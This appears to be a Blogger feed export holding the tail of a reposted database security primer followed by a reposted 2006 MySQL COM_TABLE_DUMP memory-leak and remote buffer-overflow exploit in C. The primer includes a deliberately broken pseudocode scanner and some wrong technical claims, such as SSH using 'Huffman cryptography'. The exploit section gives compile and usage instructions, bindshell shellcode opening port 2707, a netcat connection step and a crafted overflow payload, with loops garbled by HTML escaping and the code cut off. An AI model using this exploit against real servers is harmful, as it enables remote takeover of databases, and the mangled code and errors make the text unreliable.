must clearly define the scope of security.&lt;br /&gt;Server access security&lt;br /&gt;Internet access security&lt;br /&gt;Database access security&lt;br /&gt;Data privacy security&lt;br /&gt;While few security systems are perfect (the exception being the retinal eyeball scanners used by the U.S. Department of Defense for top-secret systems), there are some things that can be done to decease the likelihood of a security breach. Many of these methods are time-consuming and slow down the runtime system, so careful thought must be given to these solutions before implementing them in a production environment. Let’s explore each of these areas and see some common security problems.&lt;br /&gt;Server Access Security&lt;br /&gt;&lt;br /&gt;Server access security refers to preventing unwanted access to the server environment and ensuring controlled access to the IT staff. There are several technologies that are employed to assist with external server access:&lt;br /&gt;Kerberos security — This popular “ticket”-based authentication system provides password-based server access authentication.&lt;br /&gt;Authentication servers (Radius servers) — Secure authentication servers provide positive identification for external users.&lt;br /&gt;Password security consolidation — Many vendors offer tools to consolidate passwords among dozens of servers.&lt;br /&gt;&lt;br /&gt;Obviously, all security must start at the server level. The IT manager must provide reliable access methods for IT staff members while ensuring that the database is not open to external threats. Let’s start by looking at internal server access tools:&lt;br /&gt;Call-back access — Using this technique, the IT staff member calls a phone number, enters a password, and the server calls them, thereby ensuring that access is always with pre-defined phone numbers.&lt;br /&gt;Time-based access cards — This scheme is commonly used by banking institutions and classified government systems. A credit-card-sized timer is given to each IT employee that generates a new password every 60 seconds. The card is synchronized with a server-side password change routine.&lt;br /&gt;VPN access — Using Virtual Private Networks, IT staff members can gain access to a server using secure shell (ssh) protocols.&lt;br /&gt;&lt;br /&gt;However, even all of these precautions do not always prevent un-wanted hacker access, especially for web-enabled databases. There are many ways that a malicious programmer can bypass the security of a database. The media is full of reports of adolescent hackers who have breached top-secret systems, and even the major database vendors have been plagued with bugs that allow external hackers access to web servers and app servers. While there are new approaches to breaking into systems being developed constantly, there are some general categories of methods.&lt;br /&gt;&lt;br /&gt;There are a large variety of vendors that offer tools to manage internal IT security. Listing 1 shows an alphabetical sample of the major security vendors. As we can see, there is a huge amount of choice in security software.&lt;br /&gt; AuthAPI (Entact Information Security)&lt;br /&gt; Cicso Secure Policy Manager (Cisco Systems)&lt;br /&gt; Control-SA (BMC Software)&lt;br /&gt; Control-SA/Links (BMC Software)&lt;br /&gt; Enterprise Security Administration (Computer Associates)&lt;br /&gt; Enterprise Security Manager (Axent Technologies)&lt;br /&gt; Lucent Security Management Server (Lucent Technologies)              &lt;br /&gt; OpenEdition DCE Security Server (IBM)&lt;br /&gt; Open e-Security Platform (e-Security)&lt;br /&gt; PassGo CUA (Axent Technologies)&lt;br /&gt; ProtectIT (Computer Associates)&lt;br /&gt; Resource Manager for UNIX (Axent Technologies)&lt;br /&gt; SecureWay Policy Director (IBM)&lt;br /&gt; Tivoli Security Management (Tivoli)&lt;br /&gt; Unicenter TNG (Computer Associates)&lt;br /&gt; VACMAN Radius Server (Vasco Data Security)&lt;br /&gt;&lt;br /&gt;Listing 1: A list of IT security vendors.&lt;br /&gt;Internal Passwords and Database Security&lt;br /&gt;&lt;br /&gt;In an open system environment, system access is controlled at the network sign-on level, the individual work station, each database within the federation, as well as each application.&lt;br /&gt;&lt;br /&gt;If possible, servers should not be accessible over the Internet unless network and systems administrators have followed the general guidelines for authenticated external access. Some companies use domain servers to restrict server access to specified users. However, hackers still might intercept user IDs and passwords. To prevent this, many companies employ tools that utilize secure shell (ssh) technologies to encrypt external Internet communications. The most popular of these tools is SecureCRT, which gives authorized users Internet access to servers without the fear of someone capturing the user ID and password.&lt;br /&gt;&lt;br /&gt;Secure shell tools use sophisticated Huffman cryptography techniques for Internet transmissions; these products are more secure even than the Enigma code that was used during World War II. However, such superb encryption sometimes lulls IT staffs into believing that they are protected from external attack. Remember, the bulk of the security is at the server firewall, not on the Internet.&lt;br /&gt;&lt;br /&gt;There has been a great debate about the effectiveness of requiring frequent password changes. Advocates argue that it reduces the likelihood that the user will use easily guessed names. Those against enforced password changes point out that the frequent changes may be seen as obtrusive by the end-user and also require the forgetful end-user to write down their current password. With so many possible ports of entry, effective ID management can be quite difficult. Invariably, all of the password control mechanisms have significant problems:&lt;br /&gt;Password-changing routines — Many shops have discovered that when a user is forced to provide multiple passwords for each component in an enterprise database, they commonly compromise system security by choosing passwords that are cyclic in nature. For example, a user may rotate between the passwords “north,” “south,” “east,” and “west” in order to avoid having to keep track of the multiple sign-on’s to all of the system components. More sophisticated password devises require the end-user to specify passwords of a minimum length (greater than five characters), prohibit the re-use of passwords, and require that the passwords are changed on a periodic basis. One approach that has been especially effective is to link the password-changing software with the user’s personnel records so that the names of family members, street addresses, and other easily guessed information may not be included in the password.&lt;br /&gt;Automatic account disabling — If you suspend the server ID after three password attempts, attackers are thwarted. Without user ID suspension, an attacker can run a program that generates millions of passwords until it guesses the user ID and password combination.&lt;br /&gt;Random password generators — This is one of the most problematic mechanisms of all, and virtually guarantees that your staff will have written lists of passwords. For example, consider the following screen (refer to ).&lt;br /&gt;&lt;br /&gt;Figure 1: An ineffective random password generator.&lt;br /&gt;&lt;br /&gt;Without a centralized security component, the end-users are forced to write down all of these passwords to each system component in order to manage the complexity of remembering all of the passwords. While this strategy is a tremendous headache for the end users, it does ensure that system-wide security is not jeopardized through a single breach. In system-wide security environments, security tables are kept which allow the end user to specify their user ID and sign-on once, and the security subsystem automatically manages their access to networks, operating systems, databases and applications.&lt;br /&gt;&lt;br /&gt;There are two basic approaches to password security. The first and most common approach utilizes a common security system (refer to Figure 2). This security system maintains a single password, and controls access to all of the system components. This idea has been borrowed from ancient mainframe systems such as RACF and ACF2.&lt;br /&gt;&lt;br /&gt;Figure 2: Internal Password propagation.&lt;br /&gt;&lt;br /&gt;While this is a great simplification for the end user of the system, it also increases the risk that a breach to the system-wide security could have widespread ramifications. One downside to this approach is that a failure on the processor that contains the propagation routine could conceivably lock up the entire enterprise. Another potential problem with centralized security is the possibility that a user might de-encrypt a password on one component, thereby gaining access to the entire federation.&lt;br /&gt;&lt;br /&gt;Another method for controlling security is to make each of the distributed systems components access the security tables directly (refer to Figure 3). This eliminates the exposure of having redundant passwords stored in each processor and provides a simple point of control for the entire federation.&lt;br /&gt;&lt;br /&gt;Figure 3: Centralized password security.&lt;br /&gt;&lt;br /&gt;This approach requires user-exits to be installed at the level of each sign-on, at the network, operating system, and database level. The security files of each component continue to exist, but the password fields contain random, unchanging values. While it is nice to have a single point with which to control security, there is also the possibility that a failure on the security system would block access to the entire federation. To alleviate this potential exposure, security tables are stored redundantly on two processors, and a failure on one processor will trigger the security mechanism to check the other processor. Security at each level of the system is still maintained because each individual security component is still active, with random passwords that are never actually used for signing on to the component.&lt;br /&gt;Auditing External Security&lt;br /&gt;&lt;br /&gt;With such complexity, many IT managers employ security experts and professional white-hat hackers to ensure that their security is bullet-proof. Such checks usually involve the following areas:&lt;br /&gt;Firewall security assessment&lt;br /&gt;Enforcement of Network security policies&lt;br /&gt;Router security checks&lt;br /&gt;Review of Kerberos and remote authentication servers&lt;br /&gt;Review of network security policies&lt;br /&gt;Review of UNIX vendor security updates&lt;br /&gt;Password strength checking&lt;br /&gt;Use of UNIX shadow passwords&lt;br /&gt;Checking for improper rhosts connectivity&lt;br /&gt;Checking sticky bits for exposures&lt;br /&gt;&lt;br /&gt;Of course, security is for more than internal IT staff. You must also provide access over the web to end users from all over the world. Let’s explore this issue.&lt;br /&gt;Web-based Access Security&lt;br /&gt;&lt;br /&gt;Today’s Web architectures include four layers of servers: Web listeners, Web servers, application servers, and database servers. Each of these layers is vulnerable to hacks.&lt;br /&gt;Figure 4: A four-tiered eCommerce architecture (courtesy Builder.com).&lt;br /&gt;&lt;br /&gt;In general, security concerns over Internet access are similar to security issues in an internal network. To understand the similarity, let’s examine the entry points for hackers and demonstrate some techniques that attackers use to gain access to confidential data. All Web-based applications have numerous possible entry points, and security must be enforced at each level. Hackers look at the following areas when they try to break into a Web application.&lt;br /&gt;Internet access — If hackers can guess the IP address of a server, they can telnet to the server and get a login prompt. At this point, all they need is a user ID and password to gain access to the server.&lt;br /&gt;Port access — All Web applications are configured to listen on a predefined port for incoming connections, and they generally use a listener daemon process to poll for connections.&lt;br /&gt;Server access — A four-tiered Web application incorporates a series of Web servers, application servers, and database servers. Each of these servers presents a potential point of entry, and if remote shell (rsh) access is enabled, a hacker that gets access to a single database may get access to many servers.&lt;br /&gt;Network access — OracleNet, as an example, allows for incoming connect strings to the Oracle listener process. If hackers know the port, IP address, Oracle ID, and password, they can gain direct access to the database.&lt;br /&gt;&lt;br /&gt;After you identify possible attack points, you must restrict access to those points.  Disabling external entry can be accomplished though several methods. Next, let’s examine web-based security access.&lt;br /&gt;&lt;br /&gt;Ecommerce security is especially important for Web-based databases where hackers can gain complete control of the environment. Many managers are justifiably concerned about opening up mission-critical applications to the Internet. With dozens of potential entry points and almost daily news about large companies being hacked, proper database security is critical.&lt;br /&gt;Web port access security — All applications are directed to listen at a specific port number on the server. Like any standard HTTP server, the Web Listener can be configured to restrict access.&lt;br /&gt;XML-based access security — The latest trend among web-enabled database is in the area of Web services, specifically the inter-communications between databases over the Internet. We have the Microsoft .NET initiative and web service tools offering to assist in managing security between web portals. Most of these use XML security to verify communications across an insecure network.&lt;br /&gt;&lt;br /&gt;Internet hackers are constantly searching for servers to attack. To do this, the hackers write simple scripts that randomly generate and ping IP addresses, looking for servers that respond with an “ack.” The response is called a “ping acknowledgment” and is a standard feature of the TCP/IP ping utility. For example, here we ping the IP address for a major eCommerce database web server:&lt;br /&gt;C:\ ping 172.234.33.101&lt;br /&gt;&lt;br /&gt;Here’s the output:&lt;br /&gt;Pinging 172.234.33.101 with 32 bytes of data:&lt;br /&gt;Reply from 172.234.33.101: bytes=32 time=164ms TTL=254&lt;br /&gt;Reply from 172.234.33.101: bytes=32 time=162ms TTL=254&lt;br /&gt;Reply from 172.234.33.101: bytes=32 time=170ms TTL=254&lt;br /&gt;Ping statistics for 172.234.33.101:&lt;br /&gt;Packets: Sent = 3, Received = 3, Lost = 0 (0% loss),&lt;br /&gt;Approximate round trip times in milli-seconds:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Minimum = 162ms, Maximum = 170ms, Average = 165ms&lt;br /&gt;&lt;br /&gt;The acknowledgment packet tells the hacker that there’s an active server at this IP address. Next, the hacker simply uses the telnet utility to go to the server and begins a series of attempts to hack the root or the Oracle user password. The best way to foil this type of attack is to disable all server accounts after three password attempts.&lt;br /&gt;&lt;br /&gt;Below you’ll find the pseudocode for a UNIX shell script to cruise the Internet for vulnerable servers. I have deliberately obfuscated the actual code as a courtesy, but this script should give you the idea. Hackers run such scripts as daemon processes and they can scan hundreds of thousands of IP addresses every hour. Please note that I have deliberately introduced syntax errors into the pseudocode routine to prevent its being used by any potential hackers.&lt;br /&gt;/*#/bin/ksh&lt;br /&gt;while true&lt;br /&gt;do&lt;br /&gt;#****************************************************&lt;br /&gt;# Generate a random IP address&lt;br /&gt;#****************************************************&lt;br /&gt;$IP_ADDRESS=rnd(1-255).rnd(1-255).rnd(1-255).rnd(1-255)&lt;br /&gt;#****************************************************&lt;br /&gt;# Submit the IP address to the ping command&lt;br /&gt;#****************************************************&lt;br /&gt;nohup ping $IP_ADDRESS &gt; /tmp/t.lst 2&gt;&amp;1 &amp;&lt;br /&gt;#****************************************************&lt;br /&gt;# If ping is responding - start the attack&lt;br /&gt;#****************************************************&lt;br /&gt;if `cat /tmp/t.lst|wc -l` &gt; 0 then invoke attack_routine&lt;br /&gt;fi&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;Even a novice computer user can write an attack program and locate server attack opportunities, and the average 12-year-old knows the fundamentals of a denial of service (DOS) attack. Although the main method of attack is directly from the IP address, some creative hackers gain entry with I/O-enabled Java applets or programs that compromise cookie-writing. To prevent these types of external attacks, savvy companies employ some of the following techniques:&lt;br /&gt;Use trusted IP addresses — UNIX servers are configured to answer only pings from a list of known and trusted IP addresses. In UNIX, this is accomplished by configuring the rhosts file, which restricts server access to a list of specific users.&lt;br /&gt;Special tools — Products such as Zone Alarm send an alert when an external server is attempting to breach your firewall security. &lt;br /&gt;&lt;br /&gt;Let’s drill down deeper and explore database security.&lt;br /&gt;Database Access Security&lt;br /&gt;&lt;br /&gt;Database access security refers to the access controls placed upon the end users of the database. Database access security is generally customized at the database level through a variety of methods:&lt;br /&gt;Internal role-based security — Specific object-level and system-level privileges are grouped into roles and granted to specific database users. Object privileges can be grouped into roles, which can then be assigned to specific users.&lt;br /&gt;Grant-execute security — Execution privileges against database procedures can be tightly coupled to specific users. When a user executes the procedures, they gain database access, but only within the scope of the procedure. Users are granted execute privileges on functions and stored procedures. The grantee takes on the authority of procedure owner when executing the procedures, but has no access outside the procedure.&lt;br /&gt;Application-level security — This type of access control is popular with ERP solutions such as Oracle Applications and SAP. With application level security, the app servers establish pre-spawned connections to the database, and the app server manages connectivity to the database layer.&lt;br /&gt;Data Privacy Security — Data privacy security is the offshoot of stringent US privacy laws such as HIPAA. Under US HIPAA rules, all database access must be tracked and complete audits must be made of all updates and retrieval of sensitive information. There are a variety of techniques used for this challenge.&lt;br /&gt;Update auditing — Many database managers use the database recovery logs (redo logs) as an audit trail for database updates. The database logs record every change to the database and information about who made the change. Examples of such tolls are Oracle LogMiner and BMC’s SQL-Backtrack.&lt;br /&gt;Schema change auditing — Many databases provide methods for tracking every change to a database schema using system-level DML triggers. Here is a link to DBAZine article on DML tracking for Oracle.&lt;br /&gt;Virtual private databases — VPD technology can restrict access to selected rows of tables. Virtual Private Databases (fine-grained access control) allows for the creation of policies that restricts table and row access at runtime.&lt;br /&gt;&lt;br /&gt;Many companies are developing security systems that tie security to the data that feed the enterprise applications, rather than the applications themselves. This data-level approach ensures that the database controls access to the data and eliminates the possibility that someone may bypass the application and the security.&lt;br /&gt;Conclusion&lt;br /&gt;&lt;br /&gt;Database security has become a very critical task, and the MBO goals of many IT managers require that they lock-down security at the server level, web level and database level. However, with a plethora of choices, the IT manager must make a decision regarding the best security techniques and tools that will be cost-effective and also provide the desired levels of security.&lt;br /&gt;&lt;br /&gt;In our next installment, we will examine the Oracle9i suite of security tools and look at how they are used in Oracle environments to ensure proper database security and access control.&lt;br /&gt;&lt;br /&gt;-- &lt;br /&gt;&lt;br /&gt;Donald K. Burleson is one of the world’s top Oracle Database experts with more than 20 years of full-time DBA experience. He specializes in creating database architectures for very large online databases and he has worked with some of the world’s most powerful and complex systems. A former Adjunct Professor, Don Burleson has written 15 books, published more than 100 articles in national magazines, serves as Editor-in-Chief of Oracle Internals and edits for Rampant TechPress. Don is a popular lecturer and teacher and is a frequent speaker at Oracle Openworld and other international database conferences. Don’s Web sites include DBA-Oracle, Remote-DBA, Oracle-training, remote support and remote DB&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115797780365521066?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.dbazine.com/oracle/or-articles/burleson-sec1' title='Database Security Primer'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115797780365521066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115797780365521066&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115797780365521066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115797780365521066'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/database-security-primer.html' title='Database Security Primer'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115796103809135027</id><published>2006-09-11T14:46:00.000+07:00</published><updated>2006-09-11T14:50:38.343+07:00</updated><title type='text'>MySql  Memory Leak &amp; MySql remote</title><content type='html'>April 21.st 2006&lt;br/&gt;  &lt;br/&gt;  my_exploit.c&lt;br/&gt;&lt;br/&gt;  MySql COM_TABLE_DUMP Memory Leak &amp; MySql remote B0f&lt;br/&gt;  &lt;br/&gt;  MySql &lt;= 5.0.20      MySql COM_TABLE_DUMP Memory Leak       MySql &lt;= 4.x.x      copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)      GPL 2.0   ****************************************************************      Disclaimer:    In no event shall the author be liable for any damages    whatsoever arising out of or in connection with the use    or spread of this information.    Any use of this information is at the user's own risk.      ****************************************************************      compile with:   gcc -Imysql-5.0.20-src/include/ my_com_table_dump_exploit.c  -Lmysql-5.0.20/lib/mysql/ -lmysqlclient -o  my_exploit    Then:    my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s socket]|[-h host][-p port]][-x]    -H: this Help;   -i: Information leak exploit (shows the content of MySql Server Memory)   -x: shows c/s communication output in hexadecimal   -t: hexadecimal table_list struct address (by default we try to find it automatically)   -a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)   -u: mysql username (anonymous too ;)   -p: mysql userpass (if you need it)   -s: the socket path if is a unix socket   -h: hostname or IP address   -P: port (default 3306)     Example_1 - Memoryleak: my_exploit  -s socketpath -u username -i     Example_2 - Remote Shell: my_exploit -h 127.0.0.1 -u username -a 0x8b1f468    For memory leak:    my_exploit -i [-u user] [-p password] [-s socket|[-h hostname [-P port]]]    For the bindshell to port 2707   my_exploit [-t 0xtableaddress] [-a 0xthdaddress] [-u user] [-p password] [-s socket|[-h hostname [-P port]]]    then from another shell:   nc 127.0.0.1 2707   id   uid=78(mysql) gid=78(mysql) groups=78(mysql)    */  #include &lt;stdio h=""&gt;&lt;br/&gt;#include &lt;mysql h=""&gt;&lt;br/&gt;#include &lt;unistd h=""&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;// we need to know the thread struct address pointer and the table_list.&lt;br/&gt;// these are defaults, change them from command line.&lt;br/&gt;int thd = 0x8b1b338;&lt;br/&gt;int tbl = 0x8b3a880;&lt;br/&gt;&lt;br/&gt;#define USOCK2 "/tmp/mysql.sock"&lt;br/&gt;&lt;br/&gt;char addr_tdh[4];&lt;br/&gt;char addr_tbl[4];&lt;br/&gt;char addr_ret[4];&lt;br/&gt;&lt;br/&gt;// constants to overwrite packet with addresses for table_list thread and our shell.&lt;br/&gt;#define TBL_POS  182&lt;br/&gt;#define THD_POS  178&lt;br/&gt;#define RET_POS  174&lt;br/&gt;#define SHL_POS  34&lt;br/&gt;&lt;br/&gt;// bindshell spawns a shell with on port 2707&lt;br/&gt;char shcode[] = {&lt;br/&gt;  0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89 // 12&lt;br/&gt; ,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1&lt;br/&gt; ,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80&lt;br/&gt; ,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0&lt;br/&gt; ,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80&lt;br/&gt; ,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f&lt;br/&gt; ,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 // 12*7= 84&lt;br/&gt;};&lt;br/&gt;&lt;br/&gt;int tmp_idx = 0;&lt;br/&gt;&lt;br/&gt;int dump_packet_len = 7;&lt;br/&gt;char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 };&lt;br/&gt;&lt;br/&gt;int payload_len = 371;&lt;br/&gt;// header packet + select '1234567890...etc'&lt;br/&gt;char query_payload[] = {&lt;br/&gt;      0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33 // 16   Some junk from position 6 ...&lt;br/&gt;    , 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36 // 32&lt;br/&gt;    , 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 // 48&lt;br/&gt;    , 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34 // 64&lt;br/&gt;    , 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32 // 72&lt;br/&gt;    , 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35 // 88&lt;br/&gt;    , 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 // 94&lt;br/&gt;    , 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a // 112&lt;br/&gt;    , 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3 // 128 endsh 118&lt;br/&gt;    , 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d // 144&lt;br/&gt;    , 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63 // 160&lt;br/&gt;    , 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d // 176&lt;br/&gt;    , 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x72, 0x72, 0x73, 0x73, 0x74, 0x74, 0x75 // 192 178&lt;br/&gt;    , 0x75, 0x76, 0x76, 0x7a, 0x7a, 0x5f, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 208&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 224&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 240&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 256&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 272&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 288&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //&lt;br/&gt;    , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //&lt;br/&gt;    , 0x3d, 0x3d, 0x27&lt;br/&gt;};    // 16*23+3 = 371&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;static int s = 0, c = 0;&lt;br/&gt;int fd = 0;&lt;br/&gt;int d = 1;&lt;br/&gt;int hexdump = 0;&lt;br/&gt;char buf[65535];&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;MYSQL *conn;   /* pointer to connection handler */&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;int&lt;br/&gt;sendit (char *buf1, int fdest, int dblen)&lt;br/&gt;{&lt;br/&gt;  int len1;&lt;br/&gt;  int i = 0;&lt;br/&gt;  int ret = 0;&lt;br/&gt;  printf ("%d\n", d);&lt;br/&gt;  if (d == 2)&lt;br/&gt;    {&lt;br/&gt;      // let's prepare the query packet &lt;br/&gt;      int o;&lt;br/&gt;      int position = 14;&lt;br/&gt;&lt;br/&gt;      tmp_idx = 3;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;      int ret = tbl - 0x106 + 33;&lt;br/&gt;&lt;br/&gt;      for (i = 0; i &lt;&gt;&gt; i) &amp; 0xff;&lt;br/&gt;&lt;br/&gt;      tmp_idx = 3;&lt;br/&gt;      for (i = 0; i &lt;&gt;&gt; i) &amp; 0xff;&lt;br/&gt;&lt;br/&gt;      tmp_idx = 3;&lt;br/&gt;      for (i = 0; i &lt;&gt;&gt; i) &amp; 0xff;&lt;br/&gt;      printf ("ret %x\n", ret);&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;#if 1&lt;br/&gt;      tmp_idx = 0;&lt;br/&gt;      for (o = THD_POS; o &gt; THD_POS - 4; o--)&lt;br/&gt; query_payload[o] = addr_tdh[tmp_idx++];&lt;br/&gt;&lt;br/&gt;      tmp_idx = 0;&lt;br/&gt;      for (o = TBL_POS; o &gt; TBL_POS - 4; o--)&lt;br/&gt; query_payload[o] = addr_tbl[tmp_idx++];&lt;br/&gt;&lt;br/&gt;      tmp_idx = 0;&lt;br/&gt;      for (o = RET_POS; o &gt; RET_POS - 4; o--)&lt;br/&gt; query_payload[o] = addr_ret[tmp_idx++];&lt;br/&gt;#else&lt;br/&gt;      for (; position &lt; tmp_idx =" 0;" o =" position"&gt; position; o--)&lt;br/&gt;     query_payload[o] = addr_ret[tmp_idx++];&lt;br/&gt;&lt;br/&gt;   tmp_idx = 0;&lt;br/&gt;   for (o = position + 8; o &gt; position + 4; o--)&lt;br/&gt;     query_payload[o] = addr_tdh[tmp_idx++];&lt;br/&gt;&lt;br/&gt;   tmp_idx = 0;&lt;br/&gt;   for (o = position + 12; o &gt; position + 8; o--)&lt;br/&gt;     query_payload[o] = addr_tbl[tmp_idx++];&lt;br/&gt;&lt;br/&gt; }&lt;br/&gt;&lt;br/&gt;#endif&lt;br/&gt;&lt;br/&gt;      tmp_idx = 0;&lt;br/&gt;      for (o = SHL_POS; o &lt; buf1 =" query_payload;" len1 =" payload_len;"&gt;= 3)&lt;br/&gt;    {&lt;br/&gt;      printf ("entro\n");&lt;br/&gt;&lt;br/&gt;      // prepare table_dump request - PACK_LEN,  0x00,  0x00,  0x00,  COM_TABLE_DUMP (0x13),  DB_NAME_LEN (2) , RANDOM_CHAR (=0x73)&lt;br/&gt;      buf1 = table_dump_packet;&lt;br/&gt;      if (dblen &gt;= 0)&lt;br/&gt; buf1[5] = (char) dblen;&lt;br/&gt;      printf ("%x", (char) dblen);&lt;br/&gt;      len1 = dump_packet_len;&lt;br/&gt;    }&lt;br/&gt;  d++;&lt;br/&gt;&lt;br/&gt;  printf ("\nClient -&gt; Server\n");&lt;br/&gt;  if (hexdump)&lt;br/&gt;    